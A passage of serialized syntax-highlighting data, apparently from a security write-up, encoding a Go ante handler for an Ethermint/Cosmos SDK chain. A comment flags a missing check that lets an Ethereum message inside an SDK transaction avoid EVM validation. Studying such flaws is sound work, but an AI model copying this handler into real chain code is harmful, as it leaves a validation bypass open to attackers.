sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[79443],{"type":26,"tag":53,"props":79444,"children":79445},{"__ignoreMap":7},[79446,79462,79487,79511,79528,79553,79579,79604,79627,79643,79699,79740,79766,79773,79819,79826,79872,79888,79918,79953,80005,80022,80030,80037,80066,80082,80090,80116,80124,80131,80143,80177,80223,80235,80242,80249,80256,80295,80302,80309,80316,80324,80331,80355,80379,80407,80432,80440,80473,80480,80492,80523,80578,80590,80597,80604,80611,80650,80657],{"type":26,"tag":475,"props":79447,"children":79448},{"class":477,"line":478},[79449,79453,79458],{"type":26,"tag":475,"props":79450,"children":79451},{"style":482},[79452],{"type":32,"value":75929},{"type":26,"tag":475,"props":79454,"children":79455},{"style":493},[79456],{"type":32,"value":79457}," NewAnteHandler",{"type":26,"tag":475,"props":79459,"children":79460},{"style":499},[79461],{"type":32,"value":3169},{"type":26,"tag":475,"props":79463,"children":79464},{"class":477,"line":516},[79465,79470,79475,79479,79483],{"type":26,"tag":475,"props":79466,"children":79467},{"style":2375},[79468],{"type":32,"value":79469}," ak",{"type":26,"tag":475,"props":79471,"children":79472},{"style":505},[79473],{"type":32,"value":79474}," evmtypes",{"type":26,"tag":475,"props":79476,"children":79477},{"style":499},[79478],{"type":32,"value":353},{"type":26,"tag":475,"props":79480,"children":79481},{"style":505},[79482],{"type":32,"value":79010},{"type":26,"tag":475,"props":79484,"children":79485},{"style":499},[79486],{"type":32,"value":2425},{"type":26,"tag":475,"props":79488,"children":79489},{"class":477,"line":539},[79490,79495,79499,79503,79507],{"type":26,"tag":475,"props":79491,"children":79492},{"style":2375},[79493],{"type":32,"value":79494}," bankKeeper",{"type":26,"tag":475,"props":79496,"children":79497},{"style":505},[79498],{"type":32,"value":79474},{"type":26,"tag":475,"props":79500,"children":79501},{"style":499},[79502],{"type":32,"value":353},{"type":26,"tag":475,"props":79504,"children":79505},{"style":505},[79506],{"type":32,"value":79083},{"type":26,"tag":475,"props":79508,"children":79509},{"style":499},[79510],{"type":32,"value":2425},{"type":26,"tag":475,"props":79512,"children":79513},{"class":477,"line":548},[79514,79519,79524],{"type":26,"tag":475,"props":79515,"children":79516},{"style":2375},[79517],{"type":32,"value":79518}," evmKeeper",{"type":26,"tag":475,"props":79520,"children":79521},{"style":505},[79522],{"type":32,"value":79523}," EVMKeeper",{"type":26,"tag":475,"props":79525,"children":79526},{"style":499},[79527],{"type":32,"value":2425},{"type":26,"tag":475,"props":79529,"children":79530},{"class":477,"line":558},[79531,79536,79541,79545,79549],{"type":26,"tag":475,"props":79532,"children":79533},{"style":2375},[79534],{"type":32,"value":79535}," feeGrantKeeper",{"type":26,"tag":475,"props":79537,"children":79538},{"style":505},[79539],{"type":32,"value":79540}," authante",{"type":26,"tag":475,"props":79542,"children":79543},{"style":499},[79544],{"type":32,"value":353},{"type":26,"tag":475,"props":79546,"children":79547},{"style":505},[79548],{"type":32,"value":79100},{"type":26,"tag":475,"props":79550,"children":79551},{"style":499},[79552],{"type":32,"value":2425},{"type":26,"tag":475,"props":79554,"children":79555},{"class":477,"line":582},[79556,79561,79566,79570,79575],{"type":26,"tag":475,"props":79557,"children":79558},{"style":2375},[79559],{"type":32,"value":79560}," channelKeeper",{"type":26,"tag":475,"props":79562,"children":79563},{"style":505},[79564],{"type":32,"value":79565}," channelkeeper",{"type":26,"tag":475,"props":79567,"children":79568},{"style":499},[79569],{"type":32,"value":353},{"type":26,"tag":475,"props":79571,"children":79572},{"style":505},[79573],{"type":32,"value":79574},"Keeper",{"type":26,"tag":475,"props":79576,"children":79577},{"style":499},[79578],{"type":32,"value":2425},{"type":26,"tag":475,"props":79580,"children":79581},{"class":477,"line":596},[79582,79587,79592,79596,79600],{"type":26,"tag":475,"props":79583,"children":79584},{"style":2375},[79585],{"type":32,"value":79586}," signModeHandler",{"type":26,"tag":475,"props":79588,"children":79589},{"style":505},[79590],{"type":32,"value":79591}," authsigning",{"type":26,"tag":475,"props":79593,"children":79594},{"style":499},[79595],{"type":32,"value":353},{"type":26,"tag":475,"props":79597,"children":79598},{"style":505},[79599],{"type":32,"value":79268},{"type":26,"tag":475,"props":79601,"children":79602},{"style":499},[79603],{"type":32,"value":2425},{"type":26,"tag":475,"props":79605,"children":79606},{"class":477,"line":610},[79607,79611,79615,79619,79623],{"type":26,"tag":475,"props":79608,"children":79609},{"style":499},[79610],{"type":32,"value":2794},{"type":26,"tag":475,"props":79612,"children":79613},{"style":505},[79614],{"type":32,"value":78359},{"type":26,"tag":475,"props":79616,"children":79617},{"style":499},[79618],{"type":32,"value":353},{"type":26,"tag":475,"props":79620,"children":79621},{"style":505},[79622],{"type":32,"value":78099},{"type":26,"tag":475,"props":79624,"children":79625},{"style":499},[79626],{"type":32,"value":579},{"type":26,"tag":475,"props":79628,"children":79629},{"class":477,"line":650},[79630,79634,79639],{"type":26,"tag":475,"props":79631,"children":79632},{"style":586},[79633],{"type":32,"value":16695},{"type":26,"tag":475,"props":79635,"children":79636},{"style":482},[79637],{"type":32,"value":79638}," func",{"type":26,"tag":475,"props":79640,"children":79641},{"style":499},[79642],{"type":32,"value":3169},{"type":26,"tag":475,"props":79644,"children":79645},{"class":477,"line":679},[79646,79650,79654,79658,79662,79666,79670,79674,79678,79682,79686,79691,79695],{"type":26,"tag":475,"props":79647,"children":79648},{"style":2375},[79649],{"type":32,"value":25887},{"type":26,"tag":475,"props":79651,"children":79652},{"style":505},[79653],{"type":32,"value":78270},{"type":26,"tag":475,"props":79655,"children":79656},{"style":499},[79657],{"type":32,"value":353},{"type":26,"tag":475,"props":79659,"children":79660},{"style":505},[79661],{"type":32,"value":75978},{"type":26,"tag":475,"props":79663,"children":79664},{"style":499},[79665],{"type":32,"value":637},{"type":26,"tag":475,"props":79667,"children":79668},{"style":2375},[79669],{"type":32,"value":78810},{"type":26,"tag":475,"props":79671,"children":79672},{"style":505},[79673],{"type":32,"value":78270},{"type":26,"tag":475,"props":79675,"children":79676},{"style":499},[79677],{"type":32,"value":353},{"type":26,"tag":475,"props":79679,"children":79680},{"style":505},[79681],{"type":32,"value":78303},{"type":26,"tag":475,"props":79683,"children":79684},{"style":499},[79685],{"type":32,"value":637},{"type":26,"tag":475,"props":79687,"children":79688},{"style":2375},[79689],{"type":32,"value":79690},"sim",{"type":26,"tag":475,"props":79692,"children":79693},{"style":505},[79694],{"type":32,"value":11759},{"type":26,"tag":475,"props":79696,"children":79697},{"style":499},[79698],{"type":32,"value":2425},{"type":26,"tag":475,"props":79700,"children":79701},{"class":477,"line":735},[79702,79707,79712,79716,79720,79724,79728,79732,79736],{"type":26,"tag":475,"props":79703,"children":79704},{"style":499},[79705],{"type":32,"value":79706}," ) (",{"type":26,"tag":475,"props":79708,"children":79709},{"style":2375},[79710],{"type":32,"value":79711},"newCtx",{"type":26,"tag":475,"props":79713,"children":79714},{"style":505},[79715],{"type":32,"value":78270},{"type":26,"tag":475,"props":79717,"children":79718},{"style":499},[79719],{"type":32,"value":353},{"type":26,"tag":475,"props":79721,"children":79722},{"style":505},[79723],{"type":32,"value":75978},{"type":26,"tag":475,"props":79725,"children":79726},{"style":499},[79727],{"type":32,"value":637},{"type":26,"tag":475,"props":79729,"children":79730},{"style":2375},[79731],{"type":32,"value":48113},{"type":26,"tag":475,"props":79733,"children":79734},{"style":505},[79735],{"type":32,"value":14582},{"type":26,"tag":475,"props":79737,"children":79738},{"style":499},[79739],{"type":32,"value":676},{"type":26,"tag":475,"props":79741,"children":79742},{"class":477,"line":744},[79743,79748,79753,79757,79761],{"type":26,"tag":475,"props":79744,"children":79745},{"style":482},[79746],{"type":32,"value":79747}," var",{"type":26,"tag":475,"props":79749,"children":79750},{"style":2375},[79751],{"type":32,"value":79752}," anteHandler",{"type":26,"tag":475,"props":79754,"children":79755},{"style":505},[79756],{"type":32,"value":78270},{"type":26,"tag":475,"props":79758,"children":79759},{"style":499},[79760],{"type":32,"value":353},{"type":26,"tag":475,"props":79762,"children":79763},{"style":505},[79764],{"type":32,"value":79765},"AnteHandler\n",{"type":26,"tag":475,"props":79767,"children":79768},{"class":477,"line":753},[79769],{"type":26,"tag":475,"props":79770,"children":79771},{"emptyLinePlaceholder":18},[79772],{"type":32,"value":545},{"type":26,"tag":475,"props":79774,"children":79775},{"class":477,"line":761},[79776,79781,79786,79790,79794,79798,79803,79807,79811,79815],{"type":26,"tag":475,"props":79777,"children":79778},{"style":586},[79779],{"type":32,"value":79780}," defer",{"type":26,"tag":475,"props":79782,"children":79783},{"style":493},[79784],{"type":32,"value":79785}," Recover",{"type":26,"tag":475,"props":79787,"children":79788},{"style":499},[79789],{"type":32,"value":626},{"type":26,"tag":475,"props":79791,"children":79792},{"style":2375},[79793],{"type":32,"value":19988},{"type":26,"tag":475,"props":79795,"children":79796},{"style":499},[79797],{"type":32,"value":353},{"type":26,"tag":475,"props":79799,"children":79800},{"style":493},[79801],{"type":32,"value":79802},"Logger",{"type":26,"tag":475,"props":79804,"children":79805},{"style":499},[79806],{"type":32,"value":18083},{"type":26,"tag":475,"props":79808,"children":79809},{"style":714},[79810],{"type":32,"value":2816},{"type":26,"tag":475,"props":79812,"children":79813},{"style":2375},[79814],{"type":32,"value":48113},{"type":26,"tag":475,"props":79816,"children":79817},{"style":499},[79818],{"type":32,"value":647},{"type":26,"tag":475,"props":79820,"children":79821},{"class":477,"line":770},[79822],{"type":26,"tag":475,"props":79823,"children":79824},{"emptyLinePlaceholder":18},[79825],{"type":32,"value":545},{"type":26,"tag":475,"props":79827,"children":79828},{"class":477,"line":794},[79829,79834,79838,79842,79846,79850,79854,79859,79863,79868],{"type":26,"tag":475,"props":79830,"children":79831},{"style":2375},[79832],{"type":32,"value":79833}," txWithExtensions",{"type":26,"tag":475,"props":79835,"children":79836},{"style":499},[79837],{"type":32,"value":637},{"type":26,"tag":475,"props":79839,"children":79840},{"style":2375},[79841],{"type":32,"value":78396},{"type":26,"tag":475,"props":79843,"children":79844},{"style":714},[79845],{"type":32,"value":76045},{"type":26,"tag":475,"props":79847,"children":79848},{"style":2375},[79849],{"type":32,"value":67721},{"type":26,"tag":475,"props":79851,"children":79852},{"style":499},[79853],{"type":32,"value":78409},{"type":26,"tag":475,"props":79855,"children":79856},{"style":505},[79857],{"type":32,"value":79858},"authante",{"type":26,"tag":475,"props":79860,"children":79861},{"style":499},[79862],{"type":32,"value":353},{"type":26,"tag":475,"props":79864,"children":79865},{"style":505},[79866],{"type":32,"value":79867},"HasExtensionOptionsTx",{"type":26,"tag":475,"props":79869,"children":79870},{"style":499},[79871],{"type":32,"value":647},{"type":26,"tag":475,"props":79873,"children":79874},{"class":477,"line":831},[79875,79879,79884],{"type":26,"tag":475,"props":79876,"children":79877},{"style":586},[79878],{"type":32,"value":2980},{"type":26,"tag":475,"props":79880,"children":79881},{"style":2375},[79882],{"type":32,"value":79883}," ok",{"type":26,"tag":475,"props":79885,"children":79886},{"style":499},[79887],{"type":32,"value":579},{"type":26,"tag":475,"props":79889,"children":79890},{"class":477,"line":845},[79891,79896,79900,79905,79909,79914],{"type":26,"tag":475,"props":79892,"children":79893},{"style":2375},[79894],{"type":32,"value":79895}," opts",{"type":26,"tag":475,"props":79897,"children":79898},{"style":714},[79899],{"type":32,"value":76045},{"type":26,"tag":475,"props":79901,"children":79902},{"style":2375},[79903],{"type":32,"value":79904}," txWithExtensions",{"type":26,"tag":475,"props":79906,"children":79907},{"style":499},[79908],{"type":32,"value":353},{"type":26,"tag":475,"props":79910,"children":79911},{"style":493},[79912],{"type":32,"value":79913},"GetExtensionOptions",{"type":26,"tag":475,"props":79915,"children":79916},{"style":499},[79917],{"type":32,"value":607},{"type":26,"tag":475,"props":79919,"children":79920},{"class":477,"line":854},[79921,79925,79929,79933,79937,79941,79945,79949],{"type":26,"tag":475,"props":79922,"children":79923},{"style":586},[79924],{"type":32,"value":58493},{"type":26,"tag":475,"props":79926,"children":79927},{"style":493},[79928],{"type":32,"value":8269},{"type":26,"tag":475,"props":79930,"children":79931},{"style":499},[79932],{"type":32,"value":626},{"type":26,"tag":475,"props":79934,"children":79935},{"style":2375},[79936],{"type":32,"value":48255},{"type":26,"tag":475,"props":79938,"children":79939},{"style":499},[79940],{"type":32,"value":2794},{"type":26,"tag":475,"props":79942,"children":79943},{"style":714},[79944],{"type":32,"value":10170},{"type":26,"tag":475,"props":79946,"children":79947},{"style":903},[79948],{"type":32,"value":2752},{"type":26,"tag":475,"props":79950,"children":79951},{"style":499},[79952],{"type":32,"value":579},{"type":26,"tag":475,"props":79954,"children":79955},{"class":477,"line":862},[79956,79961,79966,79970,79975,79979,79983,79987,79992,79996,80001],{"type":26,"tag":475,"props":79957,"children":79958},{"style":586},[79959],{"type":32,"value":79960}," switch",{"type":26,"tag":475,"props":79962,"children":79963},{"style":2375},[79964],{"type":32,"value":79965}," typeURL",{"type":26,"tag":475,"props":79967,"children":79968},{"style":714},[79969],{"type":32,"value":76045},{"type":26,"tag":475,"props":79971,"children":79972},{"style":2375},[79973],{"type":32,"value":79974}," opts",{"type":26,"tag":475,"props":79976,"children":79977},{"style":499},[79978],{"type":32,"value":3440},{"type":26,"tag":475,"props":79980,"children":79981},{"style":903},[79982],{"type":32,"value":3732},{"type":26,"tag":475,"props":79984,"children":79985},{"style":499},[79986],{"type":32,"value":50041},{"type":26,"tag":475,"props":79988,"children":79989},{"style":493},[79990],{"type":32,"value":79991},"GetTypeUrl",{"type":26,"tag":475,"props":79993,"children":79994},{"style":499},[79995],{"type":32,"value":28150},{"type":26,"tag":475,"props":79997,"children":79998},{"style":2375},[79999],{"type":32,"value":80000},"typeURL",{"type":26,"tag":475,"props":80002,"children":80003},{"style":499},[80004],{"type":32,"value":579},{"type":26,"tag":475,"props":80006,"children":80007},{"class":477,"line":885},[80008,80013,80018],{"type":26,"tag":475,"props":80009,"children":80010},{"style":586},[80011],{"type":32,"value":80012}," case",{"type":26,"tag":475,"props":80014,"children":80015},{"style":629},[80016],{"type":32,"value":80017}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":26,"tag":475,"props":80019,"children":80020},{"style":499},[80021],{"type":32,"value":5280},{"type":26,"tag":475,"props":80023,"children":80024},{"class":477,"line":913},[80025],{"type":26,"tag":475,"props":80026,"children":80027},{"style":552},[80028],{"type":32,"value":80029}," // handle as *evmtypes.MsgEthereumTx\n",{"type":26,"tag":475,"props":80031,"children":80032},{"class":477,"line":926},[80033],{"type":26,"tag":475,"props":80034,"children":80035},{"emptyLinePlaceholder":18},[80036],{"type":32,"value":545},{"type":26,"tag":475,"props":80038,"children":80039},{"class":477,"line":948},[80040,80045,80049,80053,80057,80062],{"type":26,"tag":475,"props":80041,"children":80042},{"style":2375},[80043],{"type":32,"value":80044}," anteHandler",{"type":26,"tag":475,"props":80046,"children":80047},{"style":714},[80048],{"type":32,"value":2383},{"type":26,"tag":475,"props":80050,"children":80051},{"style":2375},[80052],{"type":32,"value":78270},{"type":26,"tag":475,"props":80054,"children":80055},{"style":499},[80056],{"type":32,"value":353},{"type":26,"tag":475,"props":80058,"children":80059},{"style":493},[80060],{"type":32,"value":80061},"ChainAnteDecorators",{"type":26,"tag":475,"props":80063,"children":80064},{"style":499},[80065],{"type":32,"value":3169},{"type":26,"tag":475,"props":80067,"children":80068},{"class":477,"line":966},[80069,80074,80078],{"type":26,"tag":475,"props":80070,"children":80071},{"style":493},[80072],{"type":32,"value":80073}," NewEthSetUpContextDecorator",{"type":26,"tag":475,"props":80075,"children":80076},{"style":499},[80077],{"type":32,"value":18083},{"type":26,"tag":475,"props":80079,"children":80080},{"style":552},[80081],{"type":32,"value":78924},{"type":26,"tag":475,"props":80083,"children":80084},{"class":477,"line":979},[80085],{"type":26,"tag":475,"props":80086,"children":80087},{"style":714},[80088],{"type":32,"value":80089}," ...\n",{"type":26,"tag":475,"props":80091,"children":80092},{"class":477,"line":1006},[80093,80098,80102,80107,80111],{"type":26,"tag":475,"props":80094,"children":80095},{"style":493},[80096],{"type":32,"value":80097}," NewEthIncrementSenderSequenceDecorator",{"type":26,"tag":475,"props":80099,"children":80100},{"style":499},[80101],{"type":32,"value":626},{"type":26,"tag":475,"props":80103,"children":80104},{"style":2375},[80105],{"type":32,"value":80106},"ak",{"type":26,"tag":475,"props":80108,"children":80109},{"style":499},[80110],{"type":32,"value":14883},{"type":26,"tag":475,"props":80112,"children":80113},{"style":552},[80114],{"type":32,"value":80115},"// innermost AnteDecorator.\n",{"type":26,"tag":475,"props":80117,"children":80118},{"class":477,"line":1046},[80119],{"type":26,"tag":475,"props":80120,"children":80121},{"style":499},[80122],{"type":32,"value":80123}," )\n",{"type":26,"tag":475,"props":80125,"children":80126},{"class":477,"line":1068},[80127],{"type":26,"tag":475,"props":80128,"children":80129},{"emptyLinePlaceholder":18},[80130],{"type":32,"value":545},{"type":26,"tag":475,"props":80132,"children":80133},{"class":477,"line":1077},[80134,80139],{"type":26,"tag":475,"props":80135,"children":80136},{"style":586},[80137],{"type":32,"value":80138}," default",{"type":26,"tag":475,"props":80140,"children":80141},{"style":499},[80142],{"type":32,"value":5280},{"type":26,"tag":475,"props":80144,"children":80145},{"class":477,"line":1090},[80146,80151,80155,80159,80164,80168,80173],{"type":26,"tag":475,"props":80147,"children":80148},{"style":586},[80149],{"type":32,"value":80150}," return",{"type":26,"tag":475,"props":80152,"children":80153},{"style":2375},[80154],{"type":32,"value":25544},{"type":26,"tag":475,"props":80156,"children":80157},{"style":499},[80158],{"type":32,"value":637},{"type":26,"tag":475,"props":80160,"children":80161},{"style":2375},[80162],{"type":32,"value":80163},"stacktrace",{"type":26,"tag":475,"props":80165,"children":80166},{"style":499},[80167],{"type":32,"value":353},{"type":26,"tag":475,"props":80169,"children":80170},{"style":493},[80171],{"type":32,"value":80172},"Propagate",{"type":26,"tag":475,"props":80174,"children":80175},{"style":499},[80176],{"type":32,"value":3169},{"type":26,"tag":475,"props":80178,"children":80179},{"class":477,"line":1119},[80180,80185,80189,80193,80197,80202,80206,80211,80215,80219],{"type":26,"tag":475,"props":80181,"children":80182},{"style":2375},[80183],{"type":32,"value":80184}," sdkerrors",{"type":26,"tag":475,"props":80186,"children":80187},{"style":499},[80188],{"type":32,"value":353},{"type":26,"tag":475,"props":80190,"children":80191},{"style":493},[80192],{"type":32,"value":78475},{"type":26,"tag":475,"props":80194,"children":80195},{"style":499},[80196],{"type":32,"value":626},{"type":26,"tag":475,"props":80198,"children":80199},{"style":2375},[80200],{"type":32,"value":80201},"sdkerrors",{"type":26,"tag":475,"props":80203,"children":80204},{"style":499},[80205],{"type":32,"value":353},{"type":26,"tag":475,"props":80207,"children":80208},{"style":2375},[80209],{"type":32,"value":80210},"ErrUnknownExtensionOptions",{"type":26,"tag":475,"props":80212,"children":80213},{"style":499},[80214],{"type":32,"value":637},{"type":26,"tag":475,"props":80216,"children":80217},{"style":2375},[80218],{"type":32,"value":80000},{"type":26,"tag":475,"props":80220,"children":80221},{"style":499},[80222],{"type":32,"value":6450},{"type":26,"tag":475,"props":80224,"children":80225},{"class":477,"line":1132},[80226,80231],{"type":26,"tag":475,"props":80227,"children":80228},{"style":629},[80229],{"type":32,"value":80230}," \"rejecting tx with unsupported extension option\"",{"type":26,"tag":475,"props":80232,"children":80233},{"style":499},[80234],{"type":32,"value":2425},{"type":26,"tag":475,"props":80236,"children":80237},{"class":477,"line":1146},[80238],{"type":26,"tag":475,"props":80239,"children":80240},{"style":499},[80241],{"type":32,"value":80123},{"type":26,"tag":475,"props":80243,"children":80244},{"class":477,"line":1155},[80245],{"type":26,"tag":475,"props":80246,"children":80247},{"style":499},[80248],{"type":32,"value":1178},{"type":26,"tag":475,"props":80250,"children":80251},{"class":477,"line":1163},[80252],{"type":26,"tag":475,"props":80253,"children":80254},{"emptyLinePlaceholder":18},[80255],{"type":32,"value":545},{"type":26,"tag":475,"props":80257,"children":80258},{"class":477,"line":1172},[80259,80263,80267,80271,80275,80279,80283,80287,80291],{"type":26,"tag":475,"props":80260,"children":80261},{"style":586},[80262],{"type":32,"value":60420},{"type":26,"tag":475,"props":80264,"children":80265},{"style":493},[80266],{"type":32,"value":79752},{"type":26,"tag":475,"props":80268,"children":80269},{"style":499},[80270],{"type":32,"value":626},{"type":26,"tag":475,"props":80272,"children":80273},{"style":2375},[80274],{"type":32,"value":19988},{"type":26,"tag":475,"props":80276,"children":80277},{"style":499},[80278],{"type":32,"value":637},{"type":26,"tag":475,"props":80280,"children":80281},{"style":2375},[80282],{"type":32,"value":78810},{"type":26,"tag":475,"props":80284,"children":80285},{"style":499},[80286],{"type":32,"value":637},{"type":26,"tag":475,"props":80288,"children":80289},{"style":2375},[80290],{"type":32,"value":79690},{"type":26,"tag":475,"props":80292,"children":80293},{"style":499},[80294],{"type":32,"value":647},{"type":26,"tag":475,"props":80296,"children":80297},{"class":477,"line":1181},[80298],{"type":26,"tag":475,"props":80299,"children":80300},{"style":499},[80301],{"type":32,"value":741},{"type":26,"tag":475,"props":80303,"children":80304},{"class":477,"line":1189},[80305],{"type":26,"tag":475,"props":80306,"children":80307},{"style":499},[80308],{"type":32,"value":750},{"type":26,"tag":475,"props":80310,"children":80311},{"class":477,"line":1221},[80312],{"type":26,"tag":475,"props":80313,"children":80314},{"emptyLinePlaceholder":18},[80315],{"type":32,"value":545},{"type":26,"tag":475,"props":80317,"children":80318},{"class":477,"line":1848},[80319],{"type":26,"tag":475,"props":80320,"children":80321},{"style":552},[80322],{"type":32,"value":80323}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":26,"tag":475,"props":80325,"children":80326},{"class":477,"line":1857},[80327],{"type":26,"tag":475,"props":80328,"children":80329},{"emptyLinePlaceholder":18},[80330],{"type":32,"value":545},{"type":26,"tag":475,"props":80332,"children":80333},{"class":477,"line":1866},[80334,80339,80343,80347,80351],{"type":26,"tag":475,"props":80335,"children":80336},{"style":586},[80337],{"type":32,"value":80338}," switch",{"type":26,"tag":475,"props":80340,"children":80341},{"style":2375},[80342],{"type":32,"value":67721},{"type":26,"tag":475,"props":80344,"children":80345},{"style":499},[80346],{"type":32,"value":78409},{"type":26,"tag":475,"props":80348,"children":80349},{"style":482},[80350],{"type":32,"value":32455},{"type":26,"tag":475,"props":80352,"children":80353},{"style":499},[80354],{"type":32,"value":676},{"type":26,"tag":475,"props":80356,"children":80357},{"class":477,"line":1875},[80358,80363,80367,80371,80375],{"type":26,"tag":475,"props":80359,"children":80360},{"style":586},[80361],{"type":32,"value":80362}," case",{"type":26,"tag":475,"props":80364,"children":80365},{"style":505},[80366],{"type":32,"value":78270},{"type":26,"tag":475,"props":80368,"children":80369},{"style":499},[80370],{"type":32,"value":353},{"type":26,"tag":475,"props":80372,"children":80373},{"style":505},[80374],{"type":32,"value":78303},{"type":26,"tag":475,"props":80376,"children":80377},{"style":499},[80378],{"type":32,"value":5280},{"type":26,"tag":475,"props":80380,"children":80381},{"class":477,"line":1883},[80382,80387,80391,80395,80399,80403],{"type":26,"tag":475,"props":80383,"children":80384},{"style":2375},[80385],{"type":32,"value":80386}," anteHandler",{"type":26,"tag":475,"props":80388,"children":80389},{"style":714},[80390],{"type":32,"value":2383},{"type":26,"tag":475,"props":80392,"children":80393},{"style":2375},[80394],{"type":32,"value":78270},{"type":26,"tag":475,"props":80396,"children":80397},{"style":499},[80398],{"type":32,"value":353},{"type":26,"tag":475,"props":80400,"children":80401},{"style":493},[80402],{"type":32,"value":80061},{"type":26,"tag":475,"props":80404,"children":80405},{"style":499},[80406],{"type":32,"value":3169},{"type":26,"tag":475,"props":80408,"children":80409},{"class":477,"line":1892},[80410,80415,80419,80424,80428],{"type":26,"tag":475,"props":80411,"children":80412},{"style":2375},[80413],{"type":32,"value":80414}," authante",{"type":26,"tag":475,"props":80416,"children":80417},{"style":499},[80418],{"type":32,"value":353},{"type":26,"tag":475,"props":80420,"children":80421},{"style":493},[80422],{"type":32,"value":80423},"NewSetUpContextDecorator",{"type":26,"tag":475,"props":80425,"children":80426},{"style":499},[80427],{"type":32,"value":18083},{"type":26,"tag":475,"props":80429,"children":80430},{"style":552},[80431],{"type":32,"value":78924},{"type":26,"tag":475,"props":80433,"children":80434},{"class":477,"line":1901},[80435],{"type":26,"tag":475,"props":80436,"children":80437},{"style":714},[80438],{"type":32,"value":80439}," ...\n",{"type":26,"tag":475,"props":80441,"children":80442},{"class":477,"line":1910},[80443,80447,80451,80456,80460,80464,80468],{"type":26,"tag":475,"props":80444,"children":80445},{"style":2375},[80446],{"type":32,"value":80414},{"type":26,"tag":475,"props":80448,"children":80449},{"style":499},[80450],{"type":32,"value":353},{"type":26,"tag":475,"props":80452,"children":80453},{"style":493},[80454],{"type":32,"value":80455},"NewIncrementSequenceDecorator",{"type":26,"tag":475,"props":80457,"children":80458},{"style":499},[80459],{"type":32,"value":626},{"type":26,"tag":475,"props":80461,"children":80462},{"style":2375},[80463],{"type":32,"value":80106},{"type":26,"tag":475,"props":80465,"children":80466},{"style":499},[80467],{"type":32,"value":14883},{"type":26,"tag":475,"props":80469,"children":80470},{"style":552},[80471],{"type":32,"value":80472},"// innermost AnteDecorator\n",{"type":26,"tag":475,"props":80474,"children":80475},{"class":477,"line":1919},[80476],{"type":26,"tag":475,"props":80477,"children":80478},{"style":499},[80479],{"type":32,"value":77144},{"type":26,"tag":475,"props":80481,"children":80482},{"class":477,"line":1927},[80483,80488],{"type":26,"tag":475,"props":80484,"children":80485},{"style":586},[80486],{"type":32,"value":80487}," default",{"type":26,"tag":475,"props":80489,"children":80490},{"style":499},[80491],{"type":32,"value":5280},{"type":26,"tag":475,"props":80493,"children":80494},{"class":477,"line":1936},[80495,80499,80503,80507,80511,80515,80519],{"type":26,"tag":475,"props":80496,"children":80497},{"style":586},[80498],{"type":32,"value":78705},{"type":26,"tag":475,"props":80500,"children":80501},{"style":2375},[80502],{"type":32,"value":25544},{"type":26,"tag":475,"props":80504,"children":80505},{"style":499},[80506],{"type":32,"value":637},{"type":26,"tag":475,"props":80508,"children":80509},{"style":2375},[80510],{"type":32,"value":80163},{"type":26,"tag":475,"props":80512,"children":80513},{"style":499},[80514],{"type":32,"value":353},{"type":26,"tag":475,"props":80516,"children":80517},{"style":493},[80518],{"type":32,"value":80172},{"type":26,"tag":475,"props":80520,"children":80521},{"style":499},[80522],{"type":32,"value":3169},{"type":26,"tag":475,"props":80524,"children":80525},{"class":477,"line":1945},[80526,80531,80535,80540,80544,80548,80552,80557,80561,80566,80570,80574],{"type":26,"tag":475,"props":80527,"children":80528},{"style":2375},[80529],{"type":32,"value":80530}," sdkerrors",{"type":26,"tag":475,"props":80532,"children":80533},{"style":499},[80534],{"type":32,"value":353},{"type":26,"tag":475,"props":80536,"children":80537},{"style":493},[80538],{"type":32,"value":80539},"Wrapf",{"type":26,"tag":475,"props":80541,"children":80542},{"style":499},[80543],{"type":32,"value":626},{"type":26,"tag":475,"props":80545,"children":80546},{"style":2375},[80547],{"type":32,"value":80201},{"type":26,"tag":475,"props":80549,"children":80550},{"style":499},[80551],{"type":32,"value":353},{"type":26,"tag":475,"props":80553,"children":80554},{"style":2375},[80555],{"type":32,"value":80556},"ErrUnknownRequest",{"type":26,"tag":475,"props":80558,"children":80559},{"style":499},[80560],{"type":32,"value":637},{"type":26,"tag":475,"props":80562,"children":80563},{"style":629},[80564],{"type":32,"value":80565},"\"invalid transaction type: %T\"",{"type":26,"tag":475,"props":80567,"children":80568},{"style":499},[80569],{"type":32,"value":637},{"type":26,"tag":475,"props":80571,"children":80572},{"style":2375},[80573],{"type":32,"value":78810},{"type":26,"tag":475,"props":80575,"children":80576},{"style":499},[80577],{"type":32,"value":6450},{"type":26,"tag":475,"props":80579,"children":80580},{"class":477,"line":1967},[80581,80586],{"type":26,"tag":475,"props":80582,"children":80583},{"style":629},[80584],{"type":32,"value":80585}," \"transaction is not an SDK tx\"",{"type":26,"tag":475,"props":80587,"children":80588},{"style":499},[80589],{"type":32,"value":2425},{"type":26,"tag":475,"props":80591,"children":80592},{"class":477,"line":1976},[80593],{"type":26,"tag":475,"props":80594,"children":80595},{"style":499},[80596],{"type":32,"value":77144},{"type":26,"tag":475,"props":80598,"children":80599},{"class":477,"line":1984},[80600],{"type":26,"tag":475,"props":80601,"children":80602},{"style":499},[80603],{"type":32,"value":750},{"type":26,"tag":475,"props":80605,"children":80606},{"class":477,"line":1992},[80607],{"type":26,"tag":475,"props":80608,"children":80609},{"emptyLinePlaceholder":18},[80610],{"type":32,"value":545},{"type":26,"tag":475,"props":80612,"children":80613},{"class":477,"line":2004},[80614,80618,80622,80626,80630,80634,80638,80642,80646],{"type":26,"tag":475,"props":80615,"children":80616},{"style":586},[80617],{"type":32,"value":15449},{"type":26,"tag":475,"props":80619,"children":80620},{"style":493},[80621],{"type":32,"value":79752},{"type":26,"tag":475,"props":80623,"children":80624},{"style":499},[80625],{"type":32,"value":626},{"type":26,"tag":475,"props":80627,"children":80628},{"style":2375},[80629],{"type":32,"value":19988},{"type":26,"tag":475,"props":80631,"children":80632},{"style":499},[80633],{"type":32,"value":637},{"type":26,"tag":475,"props":80635,"children":80636},{"style":2375},[80637],{"type":32,"value":78810},{"type":26,"tag":475,"props":80639,"children":80640},{"style":499},[80641],{"type":32,"value":637},{"type":26,"tag":475,"props":80643,"children":80644},{"style":2375},[80645],{"type":32,"value":79690},{"type":26,"tag":475,"props":80647,"children":80648},{"style":499},[80649],{"type":32,"value":647},{"type":26,"tag":475,"props":80651,"children":80652},{"class":477,"line":2029},[80653],{"type":26,"tag":475,"props":80654,"children":80655},{"style":499},[80656],{"type":32,"value":851},{"type":26,"tag":475,"props":80658,"children":8065